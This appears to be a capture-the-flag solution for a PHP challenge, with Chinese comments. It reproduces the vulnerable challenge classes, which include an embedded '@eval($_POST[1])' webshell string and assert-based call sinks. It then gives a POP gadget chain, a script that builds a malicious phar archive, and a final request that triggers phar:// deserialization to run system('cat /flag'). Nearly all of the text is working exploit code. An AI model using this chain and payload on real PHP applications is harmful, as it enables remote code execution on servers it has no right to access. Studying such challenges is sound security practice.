<?php
class aa{
public $name;
public function __construct(){
$this->name='aa';
}
public function __destruct(){
$this->name=strtolower($this->name);
}
}
class ff{
private $content;
public $func;
public function __construct(){
$this->content="\<?php @eval(\$_POST[1]);?>";
}
public function __get($key){
$this->$key->{$this->func}($_POST['cmd']);
}
}
class zz{
public $filename;
public $content='surprise';
public function __construct($filename){
$this->filename=$filename;
}
public function filter(){
if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){
die('这不合理');
}
}
public function write($var){
$filename=$this->filename;
$lt=$this->filename->$var;
//此功能废弃,不想写了
}
public function getFile(){
$this->filter();
$contents=file_get_contents($this->filename);
if(!empty($contents)){
return $contents;
}else{
die("404 not found");
}
}
public function __toString(){
$this->{$_POST['method']}($_POST['var']);
return $this->content;
}
}
class xx{
public $name;
public $arg;
public function __construct(){
$this->name='assert';
$this->arg='phpinfo();';
}
public function __call($name,$arg){
$name($arg[0]);
}
}
pop链:aa:__destruct==>_tostring==>write==>_get==>_call
payload:
<?php
class aa{
public $name;
}
class ff{
private $content;
public $func;
public function __construct(){
$this->content=new xx();
}
}
class zz{
public $filename;
public $content='surprise';
}
class xx{
public $name;
public $arg;
}
$ans=new aa();
$ans->name=new zz();
//$_POST['method']=write $_POST['var']=content
$ans->name->filename=new ff();
//$ans->name->filename->content=new xx();因为class ff:content为私有属性,所有在construct里赋值
$ans->name->filename->func="assert";
//下面是生成phar文件,通过read.php中调用class zz:getFile里的file_get_contents来触发phar反序列化
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($ans);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
file=phar://upload/c490af016a4c43fa9ce4602f77333a33.txt&method=write&var=content&cmd=system("cat /flag")